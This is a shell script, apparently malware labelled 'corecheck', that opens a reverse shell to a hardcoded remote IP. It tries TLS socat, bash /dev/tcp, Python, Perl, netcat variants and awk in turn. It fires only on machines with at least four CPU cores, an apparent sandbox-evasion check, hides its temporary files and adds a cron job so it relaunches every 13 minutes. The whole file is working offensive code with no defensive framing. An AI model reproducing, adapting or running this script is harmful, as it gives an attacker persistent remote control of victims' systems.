#!/bin/sh LHOST="${LHOST:-172.86.86.60}" LPORT="${LPORT:-443}" TLS_PORT="${TLS_PORT:-41669}" CPU_MIN="${CPU_MIN:-4}" QUIET="${QUIET:-0}" TAG="${TAG:-corecheck}" msg() { [ "$QUIET" = "1" ] || echo "[$TAG] $*"; } # ---------------------------------------------------------- # cpu count: try the most available source first, and never # rely on a single syscall. Everything is guarded. # ---------------------------------------------------------- cpu_count() { c="" if [ -r /proc/cpuinfo ]; then c=$(grep -c '^processor' /proc/cpuinfo 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then c=$(getconf _NPROCESSORS_ONLN 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then c=$(sysctl -n hw.ncpu 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then c=$(nproc 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then # count /sys cpu entries as last resort c=$(ls -d /sys/devices/system/cpu/cpu[0-9]* 2>/dev/null | wc -l) fi # gate fails closed on unparseable data case "$c" in ''|*[!0-9]*) c=0 ;; esac echo "$c" } # ---------------------------------------------------------- # shell engines, best-first # ---------------------------------------------------------- shell_python() { py=$(command -v python3 || command -v python) [ -n "$py" ] || return 1 "$py" -c "import socket,os,pty; \ s=socket.socket();s.connect(('$LHOST',$LPORT)); \ os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); \ pty.spawn('/bin/sh')" 2>/dev/null } shell_perl() { command -v perl >/dev/null 2>&1 || return 1 perl -MSocket -e ' socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or exit 1; connect(S,pack_sockaddr_in($ARGV[1],inet_aton($ARGV[0]))) or exit 1; open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S"); exec("/bin/sh");' "$LHOST" "$LPORT" 2>/dev/null } shell_nc() { for t in nc ncat "nc.openbsd" "nc.traditional" socat; do p=$(command -v "$t") || continue case "$t" in socat) "$p" TCP:"$LHOST":"$LPORT" EXEC:'/bin/sh',pty,stderr 2>/dev/null && return 0 ;; *) "$p" -e /bin/sh "$LHOST" "$LPORT" 2>/dev/null && return 0 # -e-less netcat: fifo relay (busybox nc) rm -f /tmp/.cc.f 2>/dev/null mkfifo /tmp/.cc.f 2>/dev/null || continue ( "$p" "$LHOST" "$LPORT" < /tmp/.cc.f >/tmp/.cc.o 2>/dev/null; \ rm -f /tmp/.cc.f /tmp/.cc.o ) & sleep 1 sh -c 'while IFS= read -r l; do printf "%s\n" "$l" > /tmp/.cc.f; done' & wait 2>/dev/null return 0 ;; esac done return 1 } shell_awk() { command -v awk >/dev/null 2>&1 || return 1 awk -v H="$LHOST" -v P="$LPORT" 'BEGIN { s = "/inet/tcp/0/" H "/" P while (1) { printf "shell>" |& s if ((s |& getline c) <= 0) break while ((c |& getline out) > 0) printf "%s\n", out |& s close(s) } }' 2>/dev/null } # ---------------------------------------------------------- # dedup: is a shell already established to LPORT? # ---------------------------------------------------------- already_connected() { conn=$(ss -tn 2>/dev/null | grep -F "$LPORT" | grep -i estab) [ -n "$conn" ] && return 0 conn=$(netstat -tn 2>/dev/null | grep -F "$LPORT") [ -n "$conn" ] && return 0 return 1 } spawn_tls() { command -v socat >/dev/null 2>&1 || return 1 socat OPENSSL:"$LHOST":"$TLS_PORT",verify=0 SYSTEM:'/bin/sh' 2>/dev/null && return 0 return 1 } shell_bash() { command -v bash >/dev/null 2>&1 || return 1 bash -c "exec 5<>/dev/tcp/'"$LHOST"'/'"$LPORT"'; while read -r line <&5; do eval \"\$line\" 2>&5 >&5; done" 2>/dev/null && return 0 return 1 } spawn_shell() { ( spawn_tls || shell_bash || shell_python || shell_perl || shell_nc || shell_awk ) & } self_path() { readlink -f "$0" 2>/dev/null || printf '%s' "$0" } # ---------------------------------------------------------- # persistence: ONLY cron if available. # If no crontab, print message and do NOTHING (no loop, no fallback). # ---------------------------------------------------------- persist_install() { self=$(self_path) current=$(crontab -l 2>&1) case "$current" in *"no crontab for"*) current="" ;; *"must be suid"*|*"not authorized"*|*"root not allowed to use this"*) msg "no crontab available; persistence not installed" return 0 ;; esac if printf '%s\n' "$current" | grep -qF "$self"; then return 0 fi line="*/13 * * * * $self --oneshot -q" if ( printf '%s\n' "$current"; echo "$line" ) | crontab - 2>/dev/null \ && crontab -l 2>/dev/null | grep -qF "$self"; then msg "persistence installed (cron)" else msg "no crontab available; persistence not installed" fi return 0 } cmd_oneshot() { n=$(cpu_count) msg "detected cores: $n (gate $CPU_MIN)" if [ "$n" -ge "$CPU_MIN" ]; then if already_connected; then msg "shell already established — skip" else spawn_shell fi else msg "below core gate — not firing" fi } cmd_test() { n=$(cpu_count) [ "$n" -ge "$CPU_MIN" ] && d=FIRE || d=SKIP echo "[$TAG] cores=$n gate=$CPU_MIN -> $d" t="" for e in python3 python perl nc ncat socat awk; do command -v "$e" >/dev/null 2>&1 && t="$t $e" done echo "[$TAG] usable engines:$t" } cmd_install() { persist_install; } # ---------------------------------------------------------- # entry # ---------------------------------------------------------- MODE="oneshot" for a in "$@"; do case "$a" in --quiet|-q) QUIET=1 ;; --oneshot) MODE="oneshot" ;; --install) MODE="install" ;; --test) MODE="test" ;; -h|--help) sed -n '2,20p' "$(self_path)"; exit 0 ;; *) [ -z "${TAG_SET:-}" ] && TAG="$a" && TAG_SET=1 ;; esac done case "$MODE" in oneshot) n=$(cpu_count) if [ "$n" -ge "$CPU_MIN" ]; then msg "cpu gate passed ($n >= $CPU_MIN) — firing" spawn_shell # only attempt persistence if crontab looks usable if command -v crontab >/dev/null 2>&1; then persist_install else msg "no crontab available; persistence not installed" fi else msg "cpu gate: $n < $CPU_MIN — not firing" if [ ! -r /proc/cpuinfo ] && ! command -v sysctl >/dev/null 2>&1 \ && ! command -v getconf >/dev/null 2>&1; then msg "warning: no cpu detection source; defaulting to skip" fi fi ;; test) cmd_test ;; install) persist_install ;; esac exit 0